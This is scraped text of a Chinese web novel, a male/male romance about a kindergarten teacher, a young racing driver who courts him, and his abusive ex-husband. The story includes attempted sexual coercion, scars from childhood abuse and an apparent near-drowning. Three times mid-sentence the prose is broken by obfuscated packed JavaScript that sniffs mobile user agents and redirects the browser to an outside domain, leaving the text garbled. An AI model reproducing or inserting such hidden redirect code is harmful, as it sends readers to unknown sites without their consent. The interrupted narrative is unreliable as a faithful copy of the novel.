他觉得他不配拥有这样一个人真诚的在意,他带着满身的疤,带着隐瞒的不堪,带着自毁留下的伤痛—— 却还能值得被期待吗? 盛嘉张开双唇,拒绝的话语正要脱口而出,只见周子斐拧开了保温桶的盖子。 最先映入眼帘的竟是一层裹满白色糖粉的山楂,颗大饱满,红艳艳地堆在一起,看了格外让人食欲大开。 但盛嘉能闻到冰糖和雪梨的香甜的气味。 “周佳奕,给你带的山楂球分盛老师两三个行不行?” 周子斐从口袋里拿出干净的纸巾,隔着手在保温桶最上面一层包了几个山楂球,随后低头询问周佳奕的意见。 周佳奕连连点头表示没关系,但没想到他接到手的是周子斐手中包着几个山楂球的白色纸巾,他皱着眉头数这里的山楂球数量,总觉得哪里不太对。 “盛老师,周佳奕同意你吃山楂球了,你就收着吧。” 周子斐见盛嘉始终沉默,直接转换了话术,他没再提川贝雪梨汤,好像从头到尾只是因为周佳奕想分盛嘉几个山楂球,这个保温桶才被送了过来。 那个黑盖蓝身的保温桶直接塞到盛嘉手中,看盛嘉拿稳当了,周子斐笑着摆摆手说“盛老师,明天见。”,又招呼周佳奕和老师告别,随即就要转身离开。 “等一下,子、子斐——” 盛嘉追出大门,开口叫住了要上车的周子斐,在喊周子斐的名字时,不由自主地卡了一下,但这两个字确实让周子斐停下了脚步。 周子斐让周佳奕上车,同时他拉上了车门,此刻黄昏街边,只有他们两个人面对面站着。 天际残阳如血,简直像两个月前他们相遇的那天。 盛嘉抬手摘下口罩,他先是低头垂下眼睫,有些紧张地抿了抿唇,周子斐视线流连在他上眼皮的弧度和纤长的睫毛,滑到小而挺的鼻尖,顺着往下,是抿起又缓慢松开的唇。 素来淡色的唇因为刚刚的动作变得有些红润,从周子斐俯视的角度看去,那双唇的正中很饱满,就像在翘着向人索吻。 最后,周子斐的目光停留在盛嘉还有些红肿的左脸上。 “子斐,谢谢你送的东西,但是……下次不要这样了可以吗……” 盛嘉的拒绝也轻柔,在周子斐这种心怀他念的人听来,好似欲拒还迎。 “我、我们只是朋友,你……不用对我这么好的,以后——” “盛老师,”周子斐忽然打断盛嘉的话,他抬起右手,食指轻轻点了一下盛嘉的左脸,在盛嘉反应之前又收回,他以一种缓慢、坚定的语气开口:“有些人,会变,现在好,以后不一定好。” “但是我永远不会变,我一直都没变过。” 周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“盛老师,你是个很好的人,你会在小朋友的家长没有及时来时,一直负责地照顾他,甚至为此生气责备家长。” “你会在一个并不熟悉的人向你说些没头没脑的话时,一直认真地倾听。” “你会在陌生人胜利但自己不太开心的情况下,依旧伸出手和他击掌,庆祝他的快乐。” “所以,你很好,在别人对你好时,你不用问为什么,接受就够了,在很多你自己都没有意识到的时候,你已经在为那个对你好的人付出了很多。” “盛嘉,你一直都很好,最特别的不是对你好的人,而是你。” 周子斐的声音沉稳而磁性,这样娓娓道来,仿佛在倾诉一桩动人的心事,令盛嘉被难以言喻的温柔包裹。 这是周子斐第一次念出盛嘉的名字,而不是盛老师,却让盛嘉觉得他的语气、音调都无比自然,好像曾念过无数次。 “舅舅——还不走啊——” 周佳奕按下车窗,周子斐听到声音转头看他,却见小孩忽然瞪大了眼睛。 “盛老师,你怎么哭了!” 周子斐心里一慌,转过头果然见盛嘉不知何时,眼眶蓄着泪,泪珠摇摇欲坠,顺着右眼缓慢滚下来。 “盛、盛老师,你、你别哭!” “舅舅是不是你把盛老师弄哭了!你怎么能把盛老师弄哭!” “对、对不起,对不起盛老师,对不起,都是我的错,你别哭……” 周佳奕生气地不停喊“舅舅是坏蛋”,周子斐慌得从口袋里掏纸,结果纸刚刚全拿来给臭外甥包山楂球了! “舅舅——纸——你快给盛老师擦,你快点!” 周子斐从周佳奕手里接过一张纸,也没注意上面还沾着糖粉,手指颤抖地靠近盛嘉的脸,不过刚碰到盛嘉柔软的脸,对方便按住了他的手。 “不用了……我……就是有点,忽然有点难受,也可能是高兴吧。” 盛嘉眼睛弯起来,泪珠更是一颗颗往下掉,但他却在笑。 秀气的眉头扬着,鼻尖发红,可颊边挂着一个很小很小的梨涡,若不是周子斐第一次离这么近,还不会发现盛嘉的右脸颊处竟有一个这么小的梨涡。 很甜,很可爱,像白面团被按下去一小块。 “谢谢你,子斐,第一次有人和我说这样的话。” “谢谢你,我、我真的很……” 盛嘉说不下去了,他的心脏既在发软发涨,也在酸涩之中被捏紧。 周子斐没有出声,而是垂下视线,随后低下了头,湿润的呼吸扑在盛嘉脸上。 盛嘉愣住了,他抬眼看着周子斐压低的眉眼,眼泪停下来,忽而不敢呼吸,只看这人的脸不断放大。 食指再次触碰盛嘉的脸,这次却是盛嘉右眼下方的一小块皮肤。 “有糖粉。” 周子斐在这种时刻,什么都没说,竟只说了这三个字,他举着自己的食指,让盛嘉看指腹上白色的粉末。 他们靠得很近,周子斐能嗅到盛嘉身上浅淡的洗衣液香气,正欲再开口,此时却—— “哎呀,有的擦就行了,舅舅你还嫌弃糖粉!” 这突如其来的一句话,打破了二人之间的气氛,周子斐先回头狠狠瞪了一眼外甥,周佳奕缩缩脖子,把车窗又升了起来。 等再转回头,盛嘉刚刚梨花带雨的情态也变了,他自己擦干了眼泪,只盈盈笑着看周子斐。 “子斐,川贝雪梨汤我会好好喝完的,你快和奕奕回家吧。” “明天见。” 明天见,是啊,明天还会见的。 一切都不用着急,毕竟盛嘉是特别的,需要更多的耐心和细心。 以及,永远不会变的真心。 9. 上门 “盛老师,这周你好像每天都会带汤来喝,是自己做的吗,真的好香啊!” 蒋禾坐在盛嘉身边,发现今天的汤是百合莲子,上面还飘着几颗红枸杞。 “因为……这几天嗓子不太舒服。” 盛嘉没有回答是不是自己做的,只是低下头用勺子轻轻搅动了一下保温桶里的汤。 收下周子斐送来的汤后,第二天盛嘉上班便带着洗干净的保温桶,准备还给周子斐,却没想到刚到幼儿园对面那条街被叫住了。 眼熟的黑色轿车不知何时早已停在那,降下的车窗里探出一个红色的脑袋。 “盛老师,这是今日份的汤。” 周子斐递过来一个薄荷绿的保温桶,他笑眯眯的,没有下车,说话也声音不大,他们对话的身影隐匿在夏日清晨的一片树荫下。 “今天的?” “嗯,盛老师的嗓子还没好,我实在放心不下你的身体,就先送一周的吧,反正做这些汤也不麻烦。” 周子斐如此坦然,见盛嘉没动,又抬手示意了一下。 看那双眼睛里慢慢流露出紧张,盛嘉思绪有一瞬飘远。 他不自觉地将二十二岁的周子斐和二十二岁的余向杭对比。 那个时候的余向杭大学刚毕业,会撒娇,会和盛嘉生闷气,盛嘉比他大三岁,总像照顾弟弟一样,耐心地哄,细心地照顾。 但周子斐却完全不同,明明他甚至比盛嘉小了十岁,盛嘉却觉得他们之间,似乎周子斐更像一个沉稳可靠的哥哥。 尽管周子斐偶尔也会露出几分孩子气和少年心性,就像他染着张扬的红发,会在赛车场上会得意洋洋地抛出飞吻,绕场和观众击掌。 可这样的瞬间实在太少太少,可也就是这很少很少的瞬间,让盛嘉有时不愿意拒绝周子斐。 周子斐说盛嘉特别,他自己又何尝不特别。 “好,谢谢你。” 盛嘉接下那个保温桶,周子斐马上掩不住地嘴角翘起来,流露出被老师夸奖了小孩子一般的高兴。 收下盛嘉昨天洗干净的保温桶,周子斐招呼后座的周佳奕下车,看盛嘉和周佳奕手牵手朝幼儿园大门走,进了园区,他才放心地离开。 “盛老师?” 蒋禾的声音提高了一些,盛嘉这才回过神,他偏头看向蒋禾问怎么了。 “我刚刚说,感觉盛老师这几天嗓子确实好了一点,这汤效果还真不错。” 蒋禾一边感慨地说,一边却不着痕迹地打量盛嘉的脸。 盛嘉何止是嗓子恢复了很多,就连气色也好了一些。 从前盛嘉就时常眉眼间带着很淡的忧虑,即便最近笑容多了一点,可周一那天又变得消沉,不过从周二开始,他又慢慢恢复起来。 到现在,他虽然依旧脸上苍白暗淡,但双唇却不像过去淡到失去颜色,而此时那形状漂亮的唇上正蒙着百合莲子汤的一层水光,水润润地亮着。 就像干枯的花朵,只要多浇些水,就至少不会缩着花瓣,等待枯败。 短短几天,为什么会有这么大的变化? 蒋禾想问问盛嘉最近发生了什么事,可又不好开口,之前的事是盛嘉主动提起,他才问的,现在盛嘉什么都没说,无人知晓地变化着,他却不好意思去询问。 “是吗?我也觉得嗓子最近好了很多,不仅是嗓子……” “虽然还是有很多烦恼,但好像,也有些地方变得好了一点。” 盛嘉望向蒋禾,抿着唇浅浅展露一个笑,眼睛弯弯的,格外清丽。 坐在午餐桌对面的蒋禾脸一红,想要继续说话时,盛嘉却端着餐盘,提着保温桶站起身。 “我吃好了,先走一步,等会儿还要哄小朋友午睡,蒋老师你慢慢吃。” 他的声音很柔和,说完这句话便礼貌地转身离开,并未多停留。 蒋禾愣坐在原地,视线一直追着盛嘉的背影。 这也是盛嘉,温柔的是他,总保持一丝疏离感的也是他,他会笑吟吟地、无声地注视你说话,可下一秒打了个招呼又会轻飘飘地离开。 蒋禾时常看不懂他,即便他们经常聊天,盛嘉却从未对他吐露过半分心事。 他能看出来,偶尔他拉盛嘉出来聚餐,盛嘉也只是安静地顺从,并不是发自内心的感到开心和放松。 似乎盛嘉这样的人,永远不会轻易让谁走进心底。 想到这里,蒋禾莫名失落起来。 究竟什么样的人才会让盛嘉主动走近,主动停留呢? 他的内心又会向什么样的人敞开? 他为谁而失神,又为谁而笑? 明天是周末,今天幼儿园放学也会早一些,盛嘉五点半便站在了幼儿园门口。 “盛老师,明天下午我们能一起去新开的海洋馆吗?” 周佳奕照例又是最后一个留下来的小朋友,但他毫不在意大家挨个被接走只落下自己这件事,只背着小书包乖乖坐在盛嘉脚边。 “海洋馆?” “嗯!舅舅之前说要带我去,结果又说不行,所以我想盛老师带我去,这样我就不用舅舅陪了!” 周佳奕来幼儿园不过一个多月,但如今舅舅在他心中的地位大幅下降,盛老师已经一跃成为他除了爸爸妈妈之外最喜欢的人。 盛嘉想了想,觉得应该没什么事,便答应了周佳奕。 两人正拉着勾做约定,周子斐这才来,他站在大门口喊了一声:“盛老师,我来接周佳奕了。” 没想到今天周佳奕听到了竟然没扑过来,只把脸埋在盛嘉怀中,嘴里不停地叫唤:“我最喜欢盛老师了!”,声音比平时撒娇喊舅舅还甜。 盛嘉抱着怀里的周佳奕,朝周子斐无奈地笑着说:“奕奕说你答应带他去海洋馆结果又不去了,问我能不能明天陪他去,我刚答应下来,应该……可以的吧?” 说到后半句,盛嘉语气带着一点不确定,目光也试探地看了看周子斐。 对上盛嘉弯弯向上翘的笑眼,那眼神像扒拉小猫崽子的大猫一样,小心翼翼又跃跃欲试。 周子斐哪里还会不同意,连忙表示没问题,接着说:“其实我训练也请好假了,明天可以去的,干脆我们就一起去吧。” “耶!太好了!我最喜欢舅舅了!” 周佳奕此时终于肯搭理周子斐,高声欢呼起来。 “你刚刚还还说最喜欢盛老师呢。” 周子斐揉了揉盛嘉怀里的周子斐,揉得他咯咯笑着搂住盛嘉的脖子,脸直往盛嘉肩窝蹭。 “爸爸妈妈第一最喜欢,舅舅和盛老师第二最喜欢!” 周佳奕的话逗得盛嘉也乐起来,两颊因为畅快的笑泛起淡粉,他的眼睛也弯成两道可爱的弧线,花瓣一样的唇微启,露出里面若隐若现的小白牙,难得多了几分朝气,看着像个高中生。 周子斐无言地注视盛嘉的笑靥,他想他就是为了这个而来的。 只要盛嘉能够健康地、快乐地、幸福地笑下去就够了,别的他全都不在意。 “盛老师,那我们就说好了,明天早上我先去给你送汤,然后等下午我去接你,周佳奕兴趣班下课后再接上他,一起去海洋馆。” 周子斐在盛嘉家小区门口停稳车,随后开口又确认了一遍明天的行程。 “明天真的还要送汤吗?我好像已经差不多好了……” 盛嘉不愿意让周子斐明天多跑一趟,本想拒绝,却听坐在驾驶位的男人说:“盛老师,说好了送一周,那就得送满啊,说到得做到,周佳奕你说是不是?” “是!盛老师,舅舅不能说谎,答应了做不到,就不是好孩子!” 舅甥俩一唱一和,盛嘉只能再建议:“那,要不明天下午你来接我的时候再给我带?” “那不行,下午周佳奕在海洋馆玩半天,肯定中途肚子饿闹着要吃。” 周子斐一本正经地胡说八道,疯狂抹黑周佳奕一个五岁小孩。 好不容易有个借口和盛嘉见面,下午却全程都要带周佳奕这个小电灯泡,他必须得争取到别的单独相处的机会。 “这……” 盛嘉在周佳奕大声的“我才不会”中还要开口,周子斐直接一锤敲定。 “就这么说好了,盛老师你也赶紧回家吧,明天早上我来之前提前跟你说。” 无奈之下,盛嘉只好应下来,他早在和周子斐的这几次相处中,意识到周子斐绝对是个说一不二的人,反正他想做的,目前盛嘉就没成功阻拦过。 “盛老师——” 走之前,周子斐又叫住了盛嘉。 盛嘉站在大片夕阳之下转身,夏日晚风吹过,及肩黑发扬起,他眼神疑问地看向周子斐。 周子斐的目光柔下来,他在又一阵扬起的风声中开口:“明天见。” 盛嘉一愣,随后眉眼弯弯,认真地注视周子斐,同样说:“明天见。” 脚步轻快地回了家,盛嘉吃完晚饭,站在水池前洗干净碗和周子斐今天带来的保温桶,厨房的玻璃窗映着他一直轻轻翘着的唇角。 海洋馆啊…… 他曾去过一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219962|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海洋馆,是大学和余向杭谈恋爱时,余向杭带他去的,盛嘉很喜欢,那时余向杭说,等以后有了钱,就带盛嘉去各个城市、国家的海洋馆。 但在大学毕业后,他们忙着找工作、买房,等有了稳定的工作和落脚的家,余向杭又总加班,盛嘉心疼他的辛苦,曾说过要不要换个工作,余向杭却不愿意,他说:“盛嘉,现在的工作虽然辛苦,但是拿到的工资高,我想要给你更好的生活。” 于是,这些事情也都没了后续。 想到和余向杭的过去,盛嘉又有些失眠,他转头看着窗外夜色,不知道在对谁说:“其实我想要的生活,就是你能陪在我的身边。” 话说得再怎么果断,离开得再怎么决绝,盛嘉的心还是无法狠下来。 朦朦胧胧之间,盛嘉睡了过去。 梦里,他十九岁,被迫辍学的那些年他已经攒了不少钱,终于能够有机会去上一个私立的高中。 他和盛千龙保证,他的学费不会让对方出一份钱,他上学也会努力赚钱,那些钱都会交给盛千龙。 也是在上学的第二年,他遇见了余向杭。 那时余向杭敲了敲自习室的门,朝他露出一个灿烂的笑容,问:“同学,我能跟你一间自习室吗,没有空余的位置了。” 叩叩。 敲门的声音传来,接着变大,变成砰砰的声音。 半梦半醒之间,余向杭的声音响起:“盛嘉,你在不在,开门!” 盛嘉猛地睁开双眼,不是梦,是余向杭在敲门叫他。 立刻翻身下床,盛嘉飞快地看了一眼卧室镜子里的自己,整理了一下衣服和头发,他跑到客厅。 他一时有些惊喜,心脏也久违地欢快地加速。 是余向杭,他刚梦到余向杭,余向杭就出现了。 “向杭,你怎么——” 盛嘉打开门话未说完,就被闯进来的余向杭一把拽住了衣领。 “盛嘉,你怎么这么无耻啊。” 余向杭颧骨红肿,好像被人打了一拳,那双盛嘉记忆里永远熠熠生辉的眼睛,此刻带着怒火瞪他。 满腔的喜悦冷了下来,盛嘉脸上的笑也凝住。 “扒着我吸血吸了那么多年不够,还要打发你爸来我公司闹是吧!” “这种照片都能拍下来保存,是不是就等着今天讹我呢?” 余向杭将几张薄薄的纸扔向盛嘉,语气充满了讽刺。 盛嘉惶然地动了动嘴唇,他想要解释,想要问清楚是怎么回事,却在看见地面纸张的那一刻,浑身发抖。 上面是模糊的照片,地点在盛嘉高中曾住的那个房间,画面格外暧昧。 余向杭将他压在床边亲,他们都只有被子盖住了下半身,盛嘉手抵在余向杭胸膛,是一个有些抗拒的动作,可盛嘉知道,那时他很高兴。 为什么会有这张照片? 为什么在他发现盛千龙在他卧室装的摄像头之后,在他将那些保存着照片、影像的硬盘踩碎之后,还会有这种东西? “不、不是我……你……” 盛嘉的声音如同沙砾滚过,他盯着照片,企图说出完整的真相,那些话却卡在嗓子眼,令他进退两难。 于是他将所有希望寄予曾给过他唯一救赎的爱人,他抬起发红的眼睛,想要去握住余向杭的手,却被躲过。 余向杭的神色很冷,他落在盛嘉脸上的视线如同冰锥,狠狠插进盛嘉的心脏。 “他找我要五十万,说我以前强迫了你,爽完了得给补偿费。” “我强迫你……呵,你爸不知道当时是你先吻上来的,也不知道每次爽得直哭的人是你吧。” 熟悉的声音吐露出轻蔑和近乎羞辱的话语。 空气忽然变得稀薄,胸腔传来窒息感,盛嘉四肢好像被溶解掉,没有一点感知,也动弹不得。 盛嘉想要开口,说不是,说他没有,说盛千龙远比余向杭所知道的还要恶心、卑鄙,说出从前跟余向杭隐瞒的一切。 可—— “盛嘉,五十万睡你十年亏了。” 余向杭一把抓起盛嘉的手腕,粗鲁地卷起他的袖子,伤痕累累的手臂暴露在外。 “手臂上。” 盛嘉的衣领也被拽开,露出锁骨下方一小片肌肤,上面有两道肉色凸起的疤痕。 “胸口上。” 随后余向杭嗤笑一声,不说话了,脸上浮现出一种陌生的神情。 但盛嘉莫名读懂了,他在说: 盛嘉,你根本值不了这么多钱。 10. 狼狈 余向杭盯着盛嘉的脸,看人神情一片仓皇,手心力道不自觉松了一点,却被盛嘉猛地拉住。 他的手那么冰,指尖也抖个不停。 “你、你觉得我……我恶心吗?” “向杭……这些疤——” 盛嘉低下头,不敢和余向杭对视,整个人像被冻住,只能一个字、一个字地从嘴里挤出话。 “盛嘉,你知道吗?” 余向杭却冷笑着打断了他,随后:“你在床上无聊又死板,每次都躺着不动,好像我强迫你一样,我唯一的想法就是,和你在一起真不值。” “我怎么没有早点出.轨,没有早点和你离婚去找别人,在你这里耗了这么久,最后还被你爸指着鼻子骂。” 无聊。 死板。 不值。 如果早点出.轨,早点离婚就好了。 是这样吗? 是因为这个理由他们才会离婚吗? 那如果他做得更好点,余向杭会回来吗? 余向杭的这些话让盛嘉再度陷入混乱,他仿佛被人撕成两半。 一半在说:“是啊,或许余向杭还是爱你的,只是因为你们床上不和谐,他才会找别人,只要以后你听他的,他还会回来的。” 而另一半在说:“不是的,无论他爱不爱你,他是因为什么原因离开你,在他和别人在一起的时候,便已经选择了放弃这段婚姻,已经背叛了从前全部的爱。” 当你还爱一个人,还对一段感情抱有希望时就是这样,即便是嘲讽的话,也能当做是重修与好的圭臬,并试图借此去寻找“他会回来”的蛛丝马迹。 却根本不知道,从他伤害你的心的那一刻起,再怎么听起来有逻辑、有情感的话语,也不过是把玩和践踏你真心的工具罢了。 可盛嘉太傻了,或者说,他还是信任着余向杭,如同信任过去的余向杭那样,信任现在面前神色冷嘲的余向杭。 于是他颤抖着拉住余向杭的袖子,声音很轻地问: “所以、所以你不恶心我,你只是觉得我无趣……” “这些疤,也没关系的对吧?” “如果我……我听你的,我变得好一点,向杭,你还会……” 然而,“你还会回来吗”这几个字盛嘉忽然说不出口。 他想起那个黄昏,周子斐说:“有些人,会变,现在好,以后不一定好。”,盛嘉的内心再度动摇。 一滴泪从发红的眼角滚出,滑过脸颊,掉在他拉住余向杭的手背上。 微凉,带着湿意,随着手的颤抖,那滴透明的泪也在摇摇欲坠,像在等待被接住,又像在等待被温暖的指腹抹去。 但下一刻,那滴不值钱的泪从盛嘉手背滑落,掉在地面上。 余向杭只停顿了一瞬,便握住盛嘉的手腕,将他的手拽开。 一切就如同他离婚当天所想的那样。 盛嘉还是爱他,爱到他说出这种话,依旧会不舍。 他有些轻蔑地想,这是当然,十年如一日的陪伴,盛嘉这种自小缺爱的人最难放弃了。 想必盛嘉也早已经后悔离婚这件事,只要他稍稍放缓一点态度,盛嘉一定会主动求和的。 但是还不行,他必须得让盛嘉吃点苦头,让盛嘉清楚真正主导这段关系的是谁。 于是,他又一步上前,抬起手,指尖轻佻地拨弄了一下盛嘉的睫毛,随后恶意地开口。 “盛千龙不是说我强迫你吗,好啊,我现在就强迫你,不把这句话坐实,我都对不起你们父子俩的良苦用心。” 紧接着,他一把将盛嘉推倒在地,随后压了上去,撩起这人的衣摆。 盛嘉尚未作出反应,他浑身僵住了。 抬眼看向这张熟悉的脸,周围一切慢慢变得虚幻,他的视线无法凝聚,只能感受到不断靠近的湿热呼吸,以及顺着腰线往上的手掌,正粗暴地揉捏。 过去的记忆在苏醒,同时身体每一个部位都在恐惧地尖叫着让人滚开,他却不断在心里告诉自己,这是余向杭。 盛嘉仍然记得第一次亲密时,余向杭非常温柔、非常珍惜地在自己额头上落下一个吻,随后用那双明亮的眼睛充满爱意地注视自己,直到盛嘉主动抱住他,他才继续。 余向杭是不会伤害他的,余向杭是这个世界上唯一一个爱他的人。 少年余向杭站在他朦胧的视线中,朝他挥挥手,声音坚定地说:“盛嘉,我会永远在你身边的,别害怕!” 可为什么,如今余向杭就在他的身边,甚至和他紧密地贴着,他却感觉到即将一脚踏入悬崖之下的悚然。 “不……不要……” “不要……” 盛嘉后知后觉地小声抗拒,他看不见自己的表情有多么恐惧。 两只眼睛蓄满了眼泪,瞳孔细颤,嘴唇没有丝毫血色,脸色甚至在发青,他不像在和昔日爱人亲热,更像是被一个暴徒折磨。 当余向杭拽着他的手放在皮带上时,盛嘉终于胃里直冒酸水,害怕又恶心地一把将人推开,他转身手掌撑着地板,脚掌踹着地面狼狈地往后爬。 余向杭猝不及防被他一脚踹在胸口处,吃痛地闷哼一声。 但盛嘉已完全顾及不了,他身上的那些疤隐隐作痛,被盛千龙举着烟头按在身上的灼烧感,还有被铅笔刀划伤的刺痛,以及那次偷钱交学费被盛千龙掐着脖子,两刀落在胸口的失血眩晕感。 过往如同海啸爆发,淹没了他的理智和感知,使得盛嘉只能抱紧自己瑟瑟发抖。 他不再一味喊“向杭救救我”,只是低泣着说“不要”,似乎潜意识里终于明白,如今余向杭再也不会来救他。 这时盛嘉才发现,自己被余向杭抚摸却在颤抖,感受到余向杭的温度却依旧发冷,这个人的呼吸、目光都令他有作呕的冲动。 他明白,从这一天开始,或许从更早开始,余向杭在自己的心里变得不再特殊了。 过去的余向杭被彻底埋葬,“余向杭”这三个字,从今往后,不会是盛嘉可以寻求的慰藉或救赎,而是可能会伤害自己的“烟头”、“铅笔刀”。 “盛嘉,你踹我!?” 余向杭下意识就要抓住盛嘉的脚腕将他拽回来,但却发现这人只一味将头埋在手臂中,蜷缩在沙发脚,并不理会自己。 他的心里生出一种无力感和恼怒感。 总是这样,盛嘉总是这样…… 床.事上他顺着盛嘉,他舍不得盛嘉做下面那个,怕盛嘉疼,自己就主动让步、作出牺牲,盛嘉一直不太愿意碰他的地方,他也不强迫,他们之间爱抚和亲吻的次数远多于真正的做ai。 家事上他替盛嘉给盛千龙养老,就连当初被盛千龙捅了一刀都没发作,只想着过几年盛嘉不那么排斥,盛千龙也老实点了,就缓和他们父子的关系,一家人和和气气的。 无论是什么方面,他都护着盛嘉,他护了盛嘉这么多年,自认为已经做得很好了。 余向杭敢说这世界上除了自己,自身条件并不优越的盛嘉再也找不到这样事事完美的爱人。 也正因如此,他才不明白盛嘉到底在痛苦什么,又在害怕什么。 他不过是出了一次轨,盛嘉为什么要这么抗拒他? 这次的矛盾,他不会轻易向盛嘉低头的,他伏低做小那么久,只是这样一个小小的错误,盛嘉凭什么不能大度一点原谅他? 最后,余向杭拍拍胸口站起身,只冷冷开口:“盛嘉,我不会管盛千龙的事,至于像这种撒照片的手段……以后你好自为之吧。” 他没有回头看盛嘉,因为不愿意看到盛嘉每次在他走后那副舍不得的可怜模样,这些年,他早已经看够了,也看烦了。 但盛嘉并未看余向杭,他没有抬头,只是闭着眼睛,眼泪默默无声地流。 余向杭此时不知道也尚未意识到,盛嘉再也不会看他,再也不会舍不得。 一切正如他所说的“不值”,盛嘉已经明白余向杭所厌烦的这些事,是“不值”的。 从“余向杭或许会回来”的细微期望,到“余向杭会救我”的多年信仰,再到数不清的眼泪,全部都是不值得的。 周家别墅。 “少爷,这汤炖好了,用的还是最好的材料,我炖了一晚上呢。” 周子斐接过阿姨递来的汤,继续给盛嘉发消息,发现对方一直没回,心里顿时有些急躁。 虽然他已经在处理盛千龙的事情了,但想要永远解决掉这个麻烦还需要一段时间,只怕是盛千龙又找到了盛嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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物业挠了挠头,纳闷地说:“我敲了好久的门,都没人应声啊,正准备去看看监控那边有没有拍到什么。” 一瞬间,周子斐的瞳孔骤缩,有那么几秒,他感觉自己似乎处于完全耳鸣的状态,什么也听不清,只有不详的预感弥漫在心间。 “不、不对……” “快去开门……快点找人开门……” 他的嘴唇刷的一下失去了所有血色,后颈发寒,只轻声低喃。 物业疑惑地“什么”了一句,只见面前的周少爷猛地抬起头,脸色惊慌到扭曲,他朝物业大喊:“快点去找人开门啊!” 周子斐这幅失神的模样吓坏了物业,他当即也忘了什么规定,似乎也被那种浓重的不安所感染,很快便跑动起来。 等几人站在盛嘉门前,伴随着门禁卡“滴”的一声,门开了。 屋内十分安静,安静到这个屋子似乎真的没有人。 周子斐在门刚被刷开时,立刻直直地推门而入,以至于进门时被绊了一下,众人纷纷要上去扶,却被他挡开。 那个熟悉的人并不在屋内,客厅没有,装有透明玻璃门的厨房里也没有。 “周少爷,这屋子里是没有人吧?” “您这么着急要过来,到底是出什么事了?” 跟在周子斐身边的几个人七嘴八舌地说起话,都想替这位大少爷分忧解惑。 “闭嘴,别说话!” 周子斐不耐烦地回头喝了一句,一群人顿时不敢再言。 他抬脚走到屋内,先推开关上的书房门看了一眼,又走到阳台,再是卧室,此时,有流水的声音响起。 哗哗、哗哗,伴随着滴答轻响…… 周子斐脸色一下子白了,他冲向卫生间,用力拉开门。 不知何处溢出的水流在瓷砖地面上蜿蜒流淌,顺着看向拉着帘子的浴缸处,才发现,莲蓬头被取下搭在末端,正在不断放着水。 但并没有热气冒出,卫生间一片昏暗,潮湿又冰冷。 而一件米白色家居服吸引了周子斐的注意力,它掉在地上,早已湿透,那深色的、湿哒哒的衣服,似乎昭示着什么沉重的事情发生了。 11. 脏 周子斐没有犹豫,没有停留,他面色发白地直直拉开帘子—— 盛嘉上半身赤.裸,合着双眼,正无声无息地躺在浴缸内的水面之下。 砰地一声,周子斐的膝盖砸在地上,他跪在浴缸旁,朝盛嘉伸出手,而视线全都汇集成一点,只盯着那张好像永远不会再朝他露出弯弯笑眼的苍白面孔。 水温冰冷,冻得周子斐探入水中的手臂也失去知觉。 “盛嘉……别……” 周子斐弯下身,声音颤抖地叫着盛嘉的名字。 肩膀处的短袖面料被弄湿,他想将水下的人抱起,因为某个可怕的猜测,心底恐惧得无以复加。 心上人躺在水下一动不动,而他的世界在缓慢地塌陷。 就在这时,盛嘉的神态变了,那双细眉抖了抖,随后有轻微的气泡从鼻腔处冒出。 周子斐的瞳孔瞪大,整个上半身猛地扎进水中,手臂用力揽紧细瘦的腰,将人抱出冰冷的水中。 “咳!咳咳!” 盛嘉剧烈地咳嗽起来,他意识模糊,眼皮沉重得睁不开,只能感受到自己陷入了一个炙热、坚实的拥抱。 有人正一手轻拍自己的背,一手托着自己的脸。 那力度很轻柔,但却将他密不透风地抱在怀里,盛嘉闭着眼睛不断喘气,侧脸贴向那人的胸膛。 柔韧的肌肉,有力的心跳,还有…… 滴在脸颊的冰冷液体。 “盛嘉、盛嘉,还好吗?” 熟悉的声音持续地在耳畔响起,带着一丝压抑的哭腔。 他的眼角被手指轻蹭,有薄茧的指腹和比他体温要暖和的温度,令盛嘉不自觉地将脸埋进那人的掌心,想要汲取更多的安慰。 周子斐的动作顿住,他的手掌和盛嘉柔软的脸颊紧密贴合,一动都不敢动。 盛嘉的脸很小,下巴尖细,下颌的线条虽然柔和,却皮肉贴着骨头,只叫人看了心疼。 他和余向杭在一起的这些年过得不算特别好,依旧很瘦,个子不矮的他,靠在自己怀里却只有一小团,像一只流浪的小野猫,蜷缩着。 而更令周子斐肝肠寸断、五内俱焚的是,盛嘉上身这些疤。 平直突出的锁骨下,两道暗红的肉色疤痕,足有两掌那么长,一道划在胸膛正中,一道自右上往下,划在靠近心脏的地方。 只差一点点,几乎只差一点点,就会伤到盛嘉现在微弱跳动的心脏。 在两道疤痕的下方,是侧腰一处暗褐色的瘢痕,形状不规则,蔓延到肚脐处。 周子斐曾见过这种伤痕,是烧伤后留下的痕迹。 盛嘉曲在胸前,抵在周子斐胸膛处的两条手臂上,则是密密麻麻的划伤和烟头烫疤,从小臂到靠近肩头的位置全都是被伤害过的印记。 一身白皙光洁的皮肤,却遍布经年伤痕。 周子斐终于明白,为什么盛嘉有双爱笑的漂亮眼睛,可脸上总是灰暗而憔悴,为什么盛嘉和余向杭结婚那天,自然展露的笑容也沁着小雨绵绵的忧伤。 你是否遭遇过别人都没有体验过的痛苦和绝望? 你是否在每晚睡前,数着自己身上的伤,感到委屈,想着为什么是我经历这些? 周子斐手臂收紧,他躬着背将盛嘉紧紧勒进怀里,胸膛相贴,不断用自己的体温捂着这具失温的单薄身体。 “这、这是怎么了!” “快打120,快叫医生过来!” “周少爷,我们赶紧把人送进医院吧,这是出什么事了?!” 